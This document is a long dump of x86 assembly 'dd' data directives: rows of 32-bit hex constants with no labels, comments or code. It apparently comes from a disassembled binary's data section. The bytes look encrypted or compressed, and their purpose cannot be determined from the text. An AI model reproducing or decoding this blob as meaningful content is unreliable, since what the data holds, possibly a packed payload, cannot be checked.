dd 0CC6F0E0Ah, 60150F2Eh, 570133D2h, 0FE180F63h, 0BDA6FEC0h
dd 0B7A03A3Ch, 323F1A3Ch, 0F522A3E7h, 0A9FB26A4h, 0ADCC0029h
dd 30AEDC2Dh, 3C33B3CCh, 38B79BA1h, 0BD3BBA2Ah, 213ABFE2h
dd 0CA435F35h, 432600EDh, 0C48D5446h, 3D23C80Dh, 3E1F302Eh
dd 0CCBE3191h, 0A8209791h, 70F83999h, 0BFB8495Dh, 0F35B81Bh
dd 0B1E2273Eh, 0E41B2682h, 0B310BC52h, 0AEA069A9h, 33AF7F2Ch
dd 77EF6631h, 7B1E3D36h, 33BEE4B0h, 1D1CE43Dh, 0C7BEF71Eh
dd 0DE1FDCDFh, 6AA4AF29h, 38A6AB2Ch, 143059B1h, 5D6664E2h
dd 1751320Eh, 542C6F3Bh, 371BB51Ch, 0A003DA9Eh, 8121AB73h
dd 0AA4374A4h, 282A2A7Bh, 632D3D7Eh, 645A4779h, 0C99BACB5h
dd 3C343A36h, 7BFE3E39h, 0E237500Eh, 3EED78DFh, 86A22527h
dd 7D7BF9BCh, 0EFCAC57Ch, 42C36A3Ah, 0B61F1145h, 3D7F3B78h
dd 7F373D6Ch, 4F195290h, 2EB0F0E0h, 0C42DD675h, 7A797A25h
dd 3015FF51h, 3F3C3F61h, 0D73D731Ch, 0C3BA3EF6h, 4A774B7Bh
dd 3D4897FFh, 0A9DB941Dh, 0AE0C7C20h, 1148471Bh, 458BEA78h
dd 52F17EEEh, 55E3CC62h, 7E985317h, 576AFB22h, 66F36E0Dh
dd 4A5FAF1Fh, 6AA93221h, 0D1A77961h, 6C75AC1Bh, 704A4E8Bh
dd 94BE61F2h, 0F8043A11h, 739183Bh, 9FB2F03Eh, 1F0239A8h
dd 15227019h, 650205A4h, 6BA72F2Dh, 7E09AD31h, 3334F762h
dd 32F6343Eh, 1B2E396Eh, 3F4AEFB9h, 0E15E916Fh, 4F55E09Ah
dd 0D95EA92Bh, 0D0A239E0h, 6E6EDDA0h, 933F22Ch, 323634D2h
dd 3A49C7B4h, 153E3CE3h, 9813C7E0h, 6055746Eh, 54FC25D2h
dd 8515252Eh, 52CE3C2h, 4028288Eh, 0B8056334h, 19386370h
dd 0D53F395Bh, 97599F62h, 843B8A45h, 33241h, 0AC38745Dh
dd 0CBB0E3Dh, 0E44EF23Bh, 7F3E5274h, 0BBC9631h, 9CFD21D2h
dd 1C0FBC3Dh, 17E6DC1Ch, 0A92364A8h, 0AF22356Fh, 2A882B65h
dd 422D50A1h, 0C19732C3h, 3424C537h, 28BA340Ch, 3C2E3E28h
dd 0DF1E1B6Bh, 61A80B96h, 836520D1h, 2D992997h, 2E223DF4h
dd 0C33D52C3h, 7233D2E2h, 3CD83837h, 6E2D549Fh, 0FDB7E83Bh
dd 24C1771Fh, 0BFCC473Ah, 29A82E06h, 6E9C376h, 2DB02DEEh
dd 692CD352h, 0D1643134h, 5E6CCE8Ch, 3CE23FBCh, 631B9A04h
dd 0A6AE2221h, 2ED6F621h, 0C40B2EBBh, 0AFC2B0B5h, 0D333D39h
dd 0D058A527h, 5F229A76h, 19382F72h, 5CE11C97h, 743FAE33h
dd 0D64DB705h, 0EA31C17Fh, 1F3B6A2Bh, 2674B86Fh, 17A96A5Dh
dd 0AD30D1C9h, 0AFC83BDCh, 17691D3Bh, 3FC95849h, 570FA463h
dd 0C52A6D59h, 1036FEFEh, 0B3123153h, 656B646h, 0FA308915h
dd 0DF63424Fh, 98485AB6h, 0B16BFF7Dh, 0CD473223h, 0D739E8F6h
dd 112F3BD5h, 74704CCCh, 333293A3h, 7C3810DEh, 19CD34B1h
dd 29129FBFh, 0C8D4954Fh, 0FFAE7284h, 2A372404h, 7C0743E8h
dd 707E1E25h, 643FA2B4h, 32173CB5h, 3C5B3939h, 18310E2Ch
dd 188ECAE3h, 72F7DE15h, 52222205h, 276C0969h, 0C2610FCh
dd 6FE27691h, 0B3B8BE05h, 0E683533h, 0CE164D9Ch, 1E5D5D18h
dd 0E2A4B25Fh, 51EE5817h, 5B2D4C48h, 0AB222849h, 0AB919CC9h
dd 0A0DD2792h, 129C12F7h, 543D2EBBh, 1D16A03Eh, 37AB4E1Dh
dd 75CC3ECh, 65682639h, 0EA43AB42h, 18B22CEEh, 0DD3F9513h
dd 5830951Bh, 26983A2Eh, 385FAB31h, 0D51F636h, 24A936C1h
dd 29DFADDAh, 2C5ED531h, 3471A315h, 27DB6161h, 243E3E34h
dd 347DB769h, 0B337D66Dh, 161BE1E4h, 0CB710B54h, 37A6A226h
dd 7D2EEDABh, 2B3F53C4h, 0F727CE34h, 137A0935h, 3DBA202Ch
dd 73BCB0Fh, 0E12E5C1Ah, 0E5E62094h, 769D3063h, 246944CFh
dd 2A2B306Bh, 0E73530A7h, 0B76137B6h, 39B96A34h, 0BC28CDC6h
dd 2D8D3E3Ch, 492B1E0Dh, 6B7C111Eh, 2CC0DB4Fh, 3F432BCAh
dd 34C08FAEh, 30A19A53h
dd 3CA818A0h, 0AD15345Ah, 6C94B237h, 0EAF77222h, 50276220h
dd 207A787Ah, 8E702B99h, 40EBAD70h, 343BCAF3h, 0E7818034h
dd 333B3564h, 0E43F313Dh, 1F111D13h, 232D212Fh, 2729252Bh
dd 2B252927h, 202E22F3h, 3C323E30h, 0F76FE434h, 62E960E7h
dd 70D6298Ch, 0CA45FF37h, 23E1D01Eh, 0E0E62CE1h, 0AE7CF52Fh
dd 28A8F92Dh, 0F037B687h, 729932B1h, 3BFB82DEh, 0BA8FD5AFh
dd 0D909B135h, 20E4BD1Fh, 682AA2B8h, 0BB0ACEAAh, 0C4BC2AE8h
dd 0ED35EDA4h, 0F5B6E1DBh, 7B508F37h, 283C010Fh, 1D8E8311h
dd 7FA7191Dh, 27C82121h, 0E899662Ah, 803FAEA1h, 3B933ACCh
dd 30413183h, 71332777h, 0BC4DEB02h, 483E54F3h, 9C5208E3h
dd 0A2090B2Ah, 2DA4302Eh, 0A120A8B0h, 882F68A1h, 629531A5h
dd 91C58C66h, 0C4713904h, 3C2CD4C3h, 3E3998DCh, 2421213Fh
dd 26D6E2CBh, 0D808EE5Fh, 0C62C2E2Bh, 0BE30319Ah, 56A57217h
dd 38381B86h, 3C0E9DD3h, 1C184A5Fh, 12B0F71Dh, 27128B20h
dd 0A7C00B22h, 7DEC3F5Ah, 8230EF06h, 0B8B9B337h, 0B13B37B8h
dd 1D3D99A6h, 1D18284Fh, 0AC1A0992h, 32532B36h, 0C0156BA8h
dd 390BF138h, 603D39AFh, 1624B323h, 2FB9F9C5h, 0DEA8D6Fh
dd 9A3329B4h, 1E4E6E0Bh, 7CABD70h, 30A93E84h, 6CD22269h
dd 58183AABh, 24BB5E00h, 0BF6A5547h, 3B6A7B2Fh, 873E3A3Ch
dd 503D1DEBh, 22D156F7h, 0E4F7221h, 5A2B4236h, 8FBC39B4h
dd 16B584A4h, 227A87CBh, 5A6FF804h, 7F35C63Bh, 0B68D1362h
dd 0BA01B31Eh, 8F332283h, 3A7E3D22h, 58ECAE80h, 0B0847126h
dd 0F63172F6h, 3D989F32h, 2F2C1BDBh, 0ECC4D02Eh, 2746241Dh
dd 8A29CD44h, 208B9E2Dh, 9A8FDE6Bh, 0B3DEA52Dh, 0F8B82ADDh
dd 1C5336BCh, 0F9D36A25h, 0E41FC0F0h, 2F3A4997h, 716EB125h
dd 362E224h, 0C32E296Ch, 4F2F0886h, 730231FEh, 0DF3635CBh
dd 0C44C64D0h, 0F1B56DC3h, 66BEF4FBh, 0A7E5DFE0h, 40214279h
dd 4C2D20B1h, 0EE294862h, 0F36CD84Ch, 563E3722h, 0BFE07169h
dd 0BEB933C4h, 181F1B1Bh, 21316454h, 25D5A868h, 6FA5D025h
dd 63C47B2Bh, 7631E53Ch, 72763A49h, 38387300h, 3C6E0B3Eh
dd 0C9E410BCh, 0A90FDA9Eh, 7C072265h, 740352A8h, 2C2FD596h
dd 5A3D2A2Eh, 0E1CC3331h, 0BB31BF35h, 0FAB832FDh, 6E702E39h
dd 0E1E96F0h, 3319E813h, 0C3A22AE5h, 47A71828h, 0A4762D08h
dd 8D33314Dh, 37773AA2h, 1B3B0F18h, 7D1E3FFCh, 0CE7F0C6Dh
dd 2158C84Fh, 0A460D412h, 3BA27B36h, 0AF320C93h, 0B4180E25h
dd 34B58C39h, 323F163Fh, 1E2D71B6h, 1D4A45D6h, 0C828528Ah
dd 26A47520h, 0D748A2ADh, 7D04D4D5h, 1BB309C6h, 6ABC3060h
dd 62656916h, 333DFFBBh, 609BBFFDh, 2F1B0D39h, 6E03C2A4h
dd 822C422h, 122AA2Eh, 302B2845h, 334C3033h, 37361F11h
dd 5C3E99BCh, 3A1F583Ah, 3B4A9636h, 0E311310Ch, 4586234Eh
dd 0BA2B4334h, 450A2D8Ch, 123232ACh, 0BC7F813Ch, 2EDAF8FBh
dd 7FFD6FBEh, 179DDB63h, 0A1F9037Fh, 1DE428A3h, 29F12307h
dd 4E116DF6h, 2C145236h, 761FB6C5h, 0FB39230Ah, 0FF3639DAh
dd 753857B4h, 21E31C7Ah, 4B22CB4Ch, 48FB1027h, 9E6C19AAh
dd 31F00B0Ah, 7D346364h, 6B69232Eh, 0FD50737Ah, 5413573Fh
dd 70251E8Ch, 768196A8h, 1CE7F5DAh, 46664E68h, 7C77F2Eh
dd 54BE20F1h, 0FCB4B639h, 3D7A5A1Dh, 0FF3B34Eh, 9E1A3D95h
dd 23F22D24h, 0AF506435h, 6BA325A5h, 5B532C02h, 4E320C10h
dd 120AB514h, 3B14075Ch, 3C213935h, 54182A1Ah, 61727B19h
dd 7B056A62h, 7A60081Dh, 25E8B2Bh, 5D61100Fh, 4344041h
dd 3E9C4B5Eh, 1F363465h, 0C01C3E05h, 0A1991F4Dh, 574C5702h
dd 284C4643h, 0ACC81C2Ah, 6628AF7Dh, 0DD2004B2h, 3B39373Eh
dd 6AC47FBAh, 0E21D78D6h, 3B9F715Fh, 7373ECAAh, 0DE9E26CDh
dd 0A77CD5D4h, 1ADC6F5h, 0BD6437B1h, 0B91EDE2Dh, 6B032A3Eh
dd 1AFE1FD5h, 1DF64C14h, 775CE0EEh, 0E3A50D00h, 963E3918h
dd 7EC72CD1h, 18CDCF3Ah, 598F3FCBh, 3754844Eh, 6A6D054Ch
dd 76C62F9Bh, 71A1231Fh, 0C4246FE3h, 0C112C069h, 0E0940A2h
dd 6F284557h, 27A57853h, 2B5D3A76h, 3E9D7923h, 51990BFCh
dd 1E10333Ah, 6130A766h, 77EBADD9h, 0FA0A071h, 551A0E0Ah
dd 20F43EBBh, 99CD6FF2h, 3C1CF83Ah, 0AD1B4F6Ah, 0CF1E7744h
dd 242C1D67h, 2828262Ah, 2C242A26h, 2CC36ED2h, 5C656171h
dd 0A836360Ah, 2497520Ch, 0C92EAE01h, 83F590Ch, 14A71F8h
dd 0CE1A9818h, 5C171114h, 1289102Ch, 0D6B0CD1h, 46097524h
dd 0C205F807h, 3EAE27BCh, 2E040A18h, 102F1076h, 0D2162443h
dd 931FB112h, 196D3C1Dh, 5D0075Fh, 37A1F449h, 3200137h
dd 7800554h, 5C260B32h, 36A04624h, 0E6004B32h, 9D676428h
dd 6C040F36h, 71A5AF3Ch, 0AFDC6220h, 2B7DDE54h, 0BDE70834h
dd 9718F8AAh, 383B8A35h, 76A72C60h, 30E1A577h, 1C7D7861h
dd 0BB132A29h, 0A3AC6CF2h, 37397937h, 3F3B3539h, 9881313Dh
dd 0CF0E0F3Fh, 714023E2h, 0A2292450h, 7B21D91Fh, 2FA2213Dh
dd 0B1283032h, 0FF23CA34h, 0FF8A3D09h, 4ECEB638h, 6288C05h
dd 740132DFh, 0BCD0AAAh, 2CA260E6h, 3223DC2Ah, 0BC3EF514h
dd 363535C7h, 2E57B535h, 36CD41B8h, 8F126E3Dh, 24627FF6h
dd 7C7CCBECh, 3D892757h, 31DD3628h, 5B2CDC86h, 0C40A1179h
dd 25CC1F2Ah, 21CED448h, 9D31A2Eh, 0C91E3E43h, 0A90B9254h
dd 0A9920CAAh, 26AF2623h, 4525AC23h, 3E644566h, 32662395h
dd 0E87B5B8Eh, 0C071BF2Ch, 5C6A785Bh, 534F214Fh, 55435151h
dd 463E4866h, 0C64C2D49h, 56641731h, 5E457546h, 437F5757h
dd 3F3A753Ch, 71715B19h, 6F4D417Dh, 49484123h, 5E7A5155h
dd 5B596C4Ah, 8B33305Ch, 3E667832h, 3A715C43h, 3E58508Dh
dd 9DF43712h, 21DFE2CEh, 0E94C2148h, 2828636Dh, 0E3352987h
dd 0BB023AEh, 90EB372h, 0D680DB4h, 39F5CBD2h, 2D988828h
dd 0BBF79221h, 202313A1h, 0ABA5CE31h, 0C427A20Ah, 64342F54h
dd 29330215h, 51351A17h, 3F82D225h, 1A6D003Eh, 3D1F4C20h
dd 230B6013h, 0E77DF25h, 74D5F8C3h, 202E2205h, 3C323E30h
dd 38363A34h, 9E3A3638h, 0AEA77DCAh, 4FE10CAAh, 287F6615h
dd 5F2725F6h, 28692A26h, 2C220A29h, 7C75322Fh, 23768048h
dd 3A9C7BDEh, 8213C0Dh, 2B302D1Bh, 1D20292Ah, 69126714h
dd 291E7310h, 1B481D76h, 7441942h, 0B1024F32h, 0AD0EBB00h
dd 0BA03B0Ch, 2AB7099Ah, 9C1F28A9h, 2C15E617h, 8100212h
dd 1B7F1D11h, 0BC634E71h, 3A73206h, 0FF3019Dh, 237B2EB4h
dd 0F36C6C6Ch, 79C183Bh, 2BE52274h, 2724B5A6h, 0A02A75E4h
dd 2B0A692Ch, 43DFD960h, 6EC905CBh, 4F3B3DFAh, 6A6D1D31h
dd 3A71971Bh, 56AA760Fh, 0AD352407h, 5EDC13FEh, 0A52D7B0Ah
dd 642D1453h, 32FEBF64h, 7A3A382Ah, 2BC26E2Bh, 965F1BD7h
dd 0D7209AEEh, 21A1A52Dh, 297B2526h, 61A17C7Fh, 0DDD81B0Ah
dd 2FB7043Ch, 0B87934h, 573F3BD6h, 9C4B702Ah, 0B9FEA36h
dd 60202220h, 66A57DCDh, 0ADD3A131h, 5A6F173Fh, 5E3E5821h
dd 9C26B67Ch, 0F024BA11h, 4A270C3Ch, 105DC8E3h, 66564F62h
dd 2646279Bh, 0A62DA22Bh, 872DF77Bh, 336061E8h, 1DB7A913h
dd 330F8F8h, 0FEEBC26Ch, 5C1EDD15h, 2005B455h, 7734E49Bh
dd 0E63CD775h, 2F2F2CF1h, 0B10577A4h, 353A01FCh, 59C70DF3h
dd 0BF22A6Bh, 28D31830h
dd 222F2AD1h, 72E32E01h, 0DB29D829h, 47C47B35h, 2AE1384Eh
dd 2A3F1E35h, 693B2735h, 3F3F13D2h, 481A3F72h, 41D0134h
dd 2003D229h, 0C07676D5h, 7D26EA77h, 3F22A528h, 6A3D2E77h
dd 4A2E2FB4h, 0FC092DB9h, 0D3F78B5h, 940B5B94h, 23723966h
dd 0FBAE30DBh, 8593282Ah, 2F6AA1ACh, 2B74F631h, 8606A8B6h
dd 0BCC5C7D1h, 0B41E301Fh, 0B59D1DDAh, 1130AA1Bh, 2635ACEAh
dd 0A32D60AEh, 66A42463h, 4F71B1F3h, 3E003533h, 6B490002h
dd 16B25C6Dh, 0FFFC33BFh, 71D40739h, 284D67Ah, 0E90F05AEh
dd 0B8A0D85h, 4BE17E3Fh, 59035792h, 1E584301h, 67472DBEh
dd 443D1736h, 5BD3BB2h, 14062AC1h, 3703A972h, 3C7B3E79h
dd 226AE92h, 1487DBF1h, 50353633h, 9E2ABAADh, 1B3E3EA1h
dd 1BDA9E1Dh, 73265A9h, 23E6A030h, 205E260Dh, 0C7E6A62Ch
dd 0CCCC6704h, 0DCCE05BFh, 19380A3Ah, 0B26F61B8h, 0F60C533Bh
dd 0E21740Dh, 6EA50077h, 780F67AAh, 0AFB92E7Ah, 0B635822Fh
dd 7E7F3516h, 1F0D3911h, 1B5ED03Ah, 8C77CB3Eh, 0AD213E1Eh
dd 0B4542204h, 612DC626h, 0CF2CAA01h, 3015172Bh, 0C5351522h
dd 2BCD9C54h, 7C8C3BBBh, 1D3EAB3Eh, 7A1F9F6Dh, 74236349h
dd 2BA62664h, 0D3AED2A2h, 7FABB222h, 2D993751h, 7ADF2F15h
dd 2B2B3698h, 0FF6DF6B6h, 79F6100Bh, 0E32F2043h, 0C74E4123h
dd 78EA2C69h, 7CEF4A91h, 29176A11h, 797B0DCh, 0A0100CD8h
dd 3DD193Ch, 0B41C3C3Bh, 0EA66C972h, 0E7613A2Eh, 3E962828h
dd 3C763DFAh, 26803508h, 3A5F7416h, 4C3BC1B4h, 2DEC2B35h
dd 0AD7DAE9Eh, 0A8085195h, 0E5172B1Ah, 183734FCh, 26509E2Bh
dd 37286E5Fh, 1A943C8Ah, 85D8FAE6h, 3C3C3BFDh, 0A4443F28h
dd 0E89C1D5Dh, 2DB3E1DEh, 3E276E76h, 6878286Dh, 334CC669h
dd 1EDB0E62h, 7C136536h, 6F3834D1h, 183AD609h, 0F71E5914h
dd 0DCDFEADCh, 727259Dh, 9328292Ah, 0A22E2D6Dh, 5716314Ch
dd 531261B9h, 532292CBh, 0ED3E3C3Ch, 0F629471Ah, 20E622F8h
dd 0AB1EA457h, 0C27E0459h, 1E6B7C12h, 8A3D7EA4h, 2FD57583h
dd 4701F00Ch, 61CD6B21h, 145C07EFh, 2BA0A7F6h, 274EDCDFh
dd 329AE5CEh, 0C57B23DAh, 1030DF86h, 6512F27Bh, 0FA30CF92h
dd 4C20CB65h, 1331703Eh, 0AB1F111Dh, 2CE7A121h, 2260AF43h
dd 68EC2A4Fh, 302D2209h, 35375830h, 3827365Fh, 3CC45238h
dd 18553D3Dh, 4B971F76h, 230A2304h, 27271910h, 2B3FD62Bh
dd 2E2CF148h, 0CDB1C1BBh, 3E43CA34h, 0FB316767h, 0FBBD3D67h
dd 5A90DF0Bh, 213E1962h, 662D2733h, 0B600483Ah, 208D0AC3h
dd 313E3310h, 35353017h, 0FB023057h, 1ACD2D4Fh, 1D2E037Fh
dd 0E1A32F97h, 50E51826h, 4976D20Ah, 792ED56Fh, 45E12DDAh
dd 71B52530h, 0C549BC60h, 393CD2B9h, 271FD7BDh, 405A5D7Ah
dd 9EC28220h, 68D8A3DDh, 0E42FA9B8h, 772B8DD2h, 0B7C5013Dh
dd 39370E35h, 74B0314Dh, 0DBBC3E39h, 0D69B5B18h, 0CB06D455h
dd 6994E50Fh, 0C330C97Eh, 0D15E2DF5h, 3F7DBACFh, 3FD6F1B7h
dd 0B0BB2DB3h, 1C010F59h, 9C38F44Ah, 0A6050A16h, 2FA5262Ah
dd 0BC3D0966h, 3A0C717Ch, 1338B47Dh, 523CB259h, 7F3C31B3h
dd 1E282E5Bh, 0E761E2Bh, 6164013Ch, 0CD742148h, 20E9FFF1h
dd 24E83E02h, 0C239EF2Dh, 0C0BA5673h, 2730223Bh, 2B35F2B4h
dd 103F7BB3h, 0DC2F1E75h, 76222263h, 0C7F5AACh, 0BA2BA30Dh
dd 30035F2Dh, 343302A6h, 22D0DE31h, 286CC5C4h, 513D75D5h
dd 6A971E0Ch, 6722AA07h, 0E1A51100h, 537C7924h, 2E332AC4h
dd 34AC3028h, 0DC133457h, 183A3DBAh, 0BE36DDB5h, 1D1DBFDDh
dd 6C146CAh, 4052D00h, 2309842Eh, 16D9460Bh, 0E5B7570h
dd 1BEA02B0h, 3A203828h, 4FD1BD07h, 8175B15h, 0DE2CFF35h
dd 25D86137h, 3CD77702h, 8C2C4BD2h, 0F140EF22h, 0B146B338h
dd 313B37C1h, 3D9E6ED7h, 0FE1B9E12h, 0F1BB1EBFh, 2788F527h
dd 0E4278727h, 8DCF2A8Bh, 308DEF2Dh, 3492CE1Bh, 64379483h
dd 8F193959h, 4C94D73Dh, 9293E2E0h, 0DC8E81BCh, 2586CCDBh
dd 7B2B9D88h, 7F2CB806h, 0B96230D4h, 9A221D36h, 0FB213D87h
dd 2EFDF727h, 2B9DCE12h, 87D1EC22h, 0E24AE740h, 352D3723h
dd 0BE29392Fh, 7BD6343Fh, 35E533AFh, 36C92947h, 9CD56D6Bh
dd 546AA2B5h, 6852146Eh, 24C426E3h, 3228E766h, 23EC299Ah
dd 35675F7Ch, 9D10BF33h, 36383836h, 323C343Ah, 1C14C03Eh
dd 20101E12h, 242C222Eh, 2828262Ah, 230C2A26h, 3F2F212Dh
dd 0A459FE31h, 3874A0B0h, 9D5F3B39h, 7F6F3A3Dh, 1F3B941Ch
dd 0A8747024h, 53AF65D5h, 0F3C22D0Ch, 2F60930Dh, 1776F625h
dd 675663AEh, 0D0713D6Ah, 74368796h, 0E561868h, 2A35631Fh
dd 261246Eh, 7A2D420Bh, 9067C8C3h, 3232D726h, 3734347Eh
dd 0D091B679h, 4BBB3F3Bh, 3E3412A4h, 25825114h, 1700A2Ah
dd 0BB5E266Eh, 1D260228h, 3134062Ah, 7036AD37h, 0C99E23D3h
dd 5A59593Bh, 89733FFEh, 0A07A127Ch, 2702E725h, 2920424Bh
dd 3D09DA7Bh, 377F4344h, 51258299h, 555D4225h, 0AC1E1A49h
dd 7427523Fh, 1FAE7A72h, 45207D10h, 53432543h, 662B295Bh
dd 6C0E7B7Fh, 17F6B233h, 2B74F7B5h, 69F5B939h, 369A29D4h
dd 15B93917h, 0CA21C11Bh, 36BAC694h, 0C2E678ACh, 2CCEBADFh
dd 0FF31D2C3h, 0D7D1DC1Fh, 0E1379937h, 6A553D3Ah, 0A112BED6h
dd 392EAC8Dh, 2B242AC2h, 0F63F5987h, 682C3457h, 5B3F26EAh
dd 29F48634h, 2031B73Fh, 20B83138h, 0A9113DB9h, 201B0398h
dd 2E23812Bh, 29A23BA5h, 262F8F3Dh, 0F6252713h, 2220D7E1h
dd 35B93CB5h, 21FA2EDBh, 0F36E2DDDh, 0D50DF725h, 762BE125h
dd 56B036C5h, 36EF0E69h, 2E5E7F7Dh, 33334080h, 0DFB5C571h
dd 0B82A4D3Ah, 4A3DD53Ch, 3A49912Ah, 0A29E8447h, 2FCE2892h
dd 9B5D2895h, 3A5D352Bh, 265EF01Ch, 158C2050h, 93AB837h
dd 1A81B1FBh, 1112FB23h, 21C1B4EDh, 25B423E2h, 828AD425h
dd 2DADA380h, 5F30AE56h, 0B45033B3h, 0B8629D36h, 3DBD713Ah
dd 241BBE7Eh, 0CB51E9Ch, 258522A0h, 23E6E437h, 7E2A0BB5h
dd 552FAE9Fh, 72321301h, 9D6B36B4h, 3C8D09F8h, 7A9F1308h
dd 1F9E897Dh, 232D0C60h, 4720A526h, 0EBFE3CBCh, 30457228h
dd 34322E30h, 3729352Bh, 7FB1392Dh, 3BF3918h, 371DD0F7h
dd 5340507Eh, 9D3554C1h, 0D94468E6h, 6AB5A58Eh, 0A9110A8Eh
dd 0A25B3476h, 0D6B807B7h, 8A3F3D77h, 9128182Eh, 0D43633Ah
dd 261CEE26h, 0A22813ADh, 0D21DC52Bh, 31CCEF1Fh, 41D40B9Eh
dd 34F7F631h, 0D6FB3A3Ah, 386704CAh, 0C16A1E39h, 250778AAh
dd 0A32740CEh, 76A06125h, 30C42F31h, 35B836BAh, 1C73BFDDh
dd 0FE5A2639h, 0F03E3E35h, 1B1E1DE2h, 0D176E5A1h, 2729DA24h
dd 2B252927h, 2F212D23h, 333D313Fh, 38C9353Bh, 343A3638h
dd 303E323Ch, 111D131Bh, 63212F1Fh, 0AD742424h, 0A537C32h
dd 0A53D7A0Fh, 0D2B7BBDEh, 2EBDBF01h, 12408B6h, 7F3A40EAh
dd 9D1CB9B6h, 0EFAB1995h, 1703410h, 23497702h, 0E300C33Eh
dd 0D43A4F24h, 24E71B33h, 5412DF25h, 0AD6C396Bh, 3D0A4F2Bh
dd 8911F631h, 24B22071h, 0C0332421h, 0C54A265Eh, 4EC73D3Eh
dd 5221C2CFh, 156DDE31h, 5C5727ADh, 723CCFBAh, 0B0B1EE7h
dd 2727520Ch, 583621D4h, 813A792Dh, 3D3E7C78h, 4336344Ah
dd 32461B31h, 0F70D4095h, 3A6E1E8Ch, 4A184E3Bh, 12D8254Fh
dd 697A1C14h, 2508E710h
dd 212D232Bh, 323E0F2Fh, 363A343Ch, 1F783833h, 3F3D1A3Bh
dd 3B0CA939h, 0AA801B58h, 76EC082Ch, 0B5A3E6A6h, 37EC2A3Eh
dd 313469E9h, 87DC6436h, 353271D0h, 7C5ABBB1h, 145B3E36h
dd 21E49D1Dh, 0E2A00654h, 0C0714E35h, 3C39A417h, 3A2D7D6Dh
dd 26B2B321h, 69363678h, 93D39D1h, 17E38CFh, 0C9A0F6DBh
dd 232D308Fh, 2729252Bh, 358A3CA0h, 28BEB805h, 2335A128h
dd 0D60D0495h, 0ABFF11CEh, 0FA7F5423h, 0CE19385Fh, 3430001Fh
dd 27375506h, 3F292C32h, 0DF7F2D2Bh, 0DA05317Fh, 0C700E482h
dd 0AA9C0839h, 2B0DA93Bh, 0F550196Eh, 0A12EAF45h, 15FE9364h
dd 0C9A1DF65h, 8DD3AE2Bh, 0B53F3762h, 0B6022433h, 7EA87A76h
dd 0BD224AC3h, 70E4683Bh, 227F8608h, 44832241h, 7F67F525h
dd 0C2F8A36h, 0D02E5F6Ah, 2C3CB2BAh, 3933368Ch, 0FC71AA3Dh
dd 1EE2D615h, 0FF16187Dh, 33A90423h, 0ECE742Ah, 68ED2ACFh
dd 2B13220Ch, 66A63180h, 0B46135C7h, 534E7DFBh, 6C2ECCE4h
dd 9AEE8C79h, 88590689h, 0B53D84F0h, 6B842866h, 2E6CEB2Bh
dd 3D169FD0h, 39353B33h, 35393737h, 50396939h, 6F29DB5Bh
dd 454E6A71h, 6E1C2679h, 21A11D2Eh, 832633AAh, 5E306736h
dd 40641346h, 4F4D4444h, 0BE6E7B53h, 10952E32h, 2CDF1A97h
dd 28FA2B29h, 6F875676h, 6465765Ah, 6C4D62CBh, 6F3F3852h
dd 727637D0h, 1265EE4Bh, 4145B62h, 4A1E161Ah, 0A63276A0h
dd 6650C82Ch, 5FA12F9Ah, 782E2108h, 0CCCDCF8Fh, 3777B8CBh
dd 8C3123Ah, 0B5EC0EF5h, 941C749Bh, 2AABDF4Fh, 0E70521E3h
dd 0E02220C6h, 0D47D2D3Bh, 0F1F7B32Bh, 0CA7BBD33h, 3B395017h
dd 3D6C395Bh, 1CFE8AEFh, 0A1231FB6h, 3BA4075Eh, 0B4AD282Ah
dd 2ECD282Ah, 6D5837FEh, 0BD37DB0Ch, 0C283664h, 6F3FBF3Fh
dd 9FE3A9AFh, 226BE1E2h, 26205353h, 384D4D50h, 3D1F2C41h
dd 14265E2Eh, 46DB6266h, 1FD0FF6h, 5D503DEh, 217A0414h
dd 25762749h, 18341BF0h, 1C1C1E0Bh, 105B127Fh, 14FA16B0h
dd 0F310AC0h, 0B080906h, 7BA0577h, 39901AAh, 22A920B6h
dd 1EE11CA6h, 1ACF18F9h, 172014D6h, 13161107h, 0F660D66h
dd 6B76347Ah, 6A623C37h, 683D7569h, 40594F7Eh, 400E1C1Eh
dd 44483A62h, 49581D48h, 652C6689h, 115F472Ch, 255D372Ah
dd 39B80B71h, 3E3C0539h, 15FB0203h, 51F2EDCh, 7C110C13h
dd 368623B4h, 2E378B66h, 502F5F0Dh, 74DB6231h, 0C7C8E594h
dd 3CEEF960h, 1BED6FAEh, 0DE129091h, 214A8B23h, 254C705Eh
dd 5F284D44h, 0ADAD2BCDh, 22670D35h, 37944D37h, 563B689Ch
dd 6AFA3D9Eh, 667F1B8Ah, 265B121Bh, 22215007h, 112B4972h
dd 5F792F39h, 0F85ED18Ah, 3EBE3E53h, 0EAB0AC46h, 5B0D253Ah
dd 59C0BD7h, 0C92852BFh, 2F3442D7h, 165CE7A2h, 2E9D399Bh
dd 37D82B7Eh, 3DBF2F12h, 1D21F6B5h, 179C29D2h, 1D4AFFBBh
dd 0C8835A69h, 343F933Fh, 0F94DB726h, 9E28CFF5h, 82F3AF27h
dd 0BAB939C1h, 0BE28E480h, 9EFF25E8h, 0C220EB34h, 0FF53170Ch
dd 28D26931h, 264C26C5h, 67A62ADCh, 2CDEFD08h, 0F300ED90h
dd 0CBB7E9F7h, 3A3AF5FCh, 3F31ACC3h, 1E121C14h, 2DDE2010h
dd 29252B23h, 25292727h, 89982419h, 32939A2Fh, 61AA32E1h
dd 5DAD9236h, 3E9AB538h, 6E1E1C41h, 498A1E49h, 22792385h
dd 287F7524h, 782C896Dh, 560C3C6Dh, 35930233h, 22389010h
dd 2D3C9C6Fh, 0BDD73F9Ch, 21481B1Dh, 82AE88DBh, 2880C925h
dd 2EA933ABh, 32A80328h, 0B05F72CBh, 3AB7D937h, 0FE166281h
dd 8F1992Eh, 1AA59CC9h, 49CB385Fh, 8F29E494h, 0FB4226EAh
dd 0A4222923h, 0B33E36E5h, 35D63935h, 372A0134h, 61685EBDh
dd 1FDD3B9Ah, 6C20E449h, 2F925E1h, 2AF8B227h, 0CD2DF9F7h
dd 0FC31E18Ah, 351934E6h, 0EFF938E7h, 0EF48963Bh, 1DC9A93Fh
dd 8520CEA0h, 227023F7h, 0BF28F722h, 0FC7C2BFFh, 0E465A72Eh
dd 35E5AA32h, 0DB38E24Ch, 64503BEBh, 19303FEBh, 20CA34ECh
dd 7423F355h, 16E554C7h, 2E2B7AB6h, 11763C67h, 76878736h
dd 36E3717h, 0AE5D27DBh, 6A3F9F1Fh, 0B31CDC7Bh, 72340B9h
dd 2787EF93h, 2B8BE56Ah, 0AEB722D1h, 31894936h, 0D9079496h
dd 9F3B78F8h, 3AFF5B75h, 1C1D069Fh, 86250210h, 76334E20h
dd 8223B72Dh, 5F110867h, 21C3F203h, 1F19700Fh, 0E4D13DF7h
dd 9EAB617Ah, 684E4B48h, 58591A6Ah, 205E2227h, 7F82DF9h
